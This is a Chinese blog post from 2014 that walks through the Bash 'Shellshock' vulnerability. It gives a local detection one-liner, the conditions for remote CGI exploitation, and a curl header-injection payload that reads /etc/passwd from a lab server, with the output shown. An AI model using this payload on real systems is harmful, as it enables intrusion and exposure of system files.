商务合作加Q:411239339

最新bash漏洞的一种远程攻击方式

浏览:380次阅读
一条评论

共计 1176 个字符,预计需要花费 3 分钟才能阅读完成。

1、终端用户检测漏洞方法

本地用户在终端可以执行以下测试方法来检测是否存在该漏 洞:

env x='() { :;}; echo vulnerable'  bash -c "echo this is a test"

如果显示信息如下,则表示该主机存在该漏洞:

vulnerable
this is a test

2、远程攻击条件

1). Linux WEB Server 提供的 CGIL 接口允许我们通过远程 HTTP 方式进行 Bash 调用

2).  客户端可以任意修改发送的 HTTP 头部的字段参数
3). Bash CGI 会将客户端发送的 HTTP 数据包的 HTTP 头部的字段作为 ENV 的参数传入环境变量的设置函数中,也就是说,Bash CGI 默认将 HTTP 头部参数作为环境变量设置源
4). Bash CGI 会返回的 HTTP 数据包中会将环境变量一并发送回客户端
我们来针对一台安装有 apache 环境的主机来进行分析,对于第一点需要我们的 apache 支持 mod_cgi 模块的调用,可以通过以下两个命令来查看是否已经开启 mod_cgi 模块:
httpd -l  | grep cgi
apachectl -t -D DUMP_MODULES   | grep cgi

如果输出有包含 cgi 字样的字符,那说明已经成功开启了 mod_cgi。

3、环境准备

假设你配置的 cgi-bin 的目录为:/var/www/html/cgi-bin,那么我们在该目录下写上一段简单的 shell.sh 脚本:

#!/bin/bash
echo "Content-type: text/html"
echo ""
#下面这句不要也可以,加上这句只是为了更清晰的看出注入的结果
echo "<html>"

4、开始获取主机信息

找一台能连接服务器的 Linux 机器,假设我这里主机的 IP 为:192.168.0.1,在终端输入以下命令:

curl -H 'x: () { :;};a=`/bin/cat /etc/passwd`;echo"a: $a"''http://192.168.0.1/cgi-bin/shell.sh' -I

5、查看输出结果

类似以下输出:

HTTP/1.1 200 OK
Date: Sun, 28 Sep 2014 21:22:04 GMT
Server: Apache
a: root:x:0:0:root:/root:/bin/bash
bin: x:1:1:bin:/bin:/sbin/nologin
daemon: x:2:2:daemon:/sbin:/sbin/nologin
adm: x:3:4:adm:/var/adm:/sbin/nologin
lp: x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync: x:5:0:sync:/sbin:/bin/sync

6、总结

要利用该漏洞获取信息,需要服务器满足第 2 节中的条件,在生产环境中一般是一些 cgi 应用型的互联网 网站,且主机是类 unix 系统。

正文完
扫码赞助
post-qrcode
 0
果子
版权声明:本站原创文章,由 果子 于2014-09-28发表,共计1176字。
转载说明:除特殊说明外本站文章皆由果较瘦原创发布,转载请注明出处。
评论(一条评论)
果子
2014-09-30 11:35:35 回复

(呲牙)

   Denglu  中国湖南省长沙市电信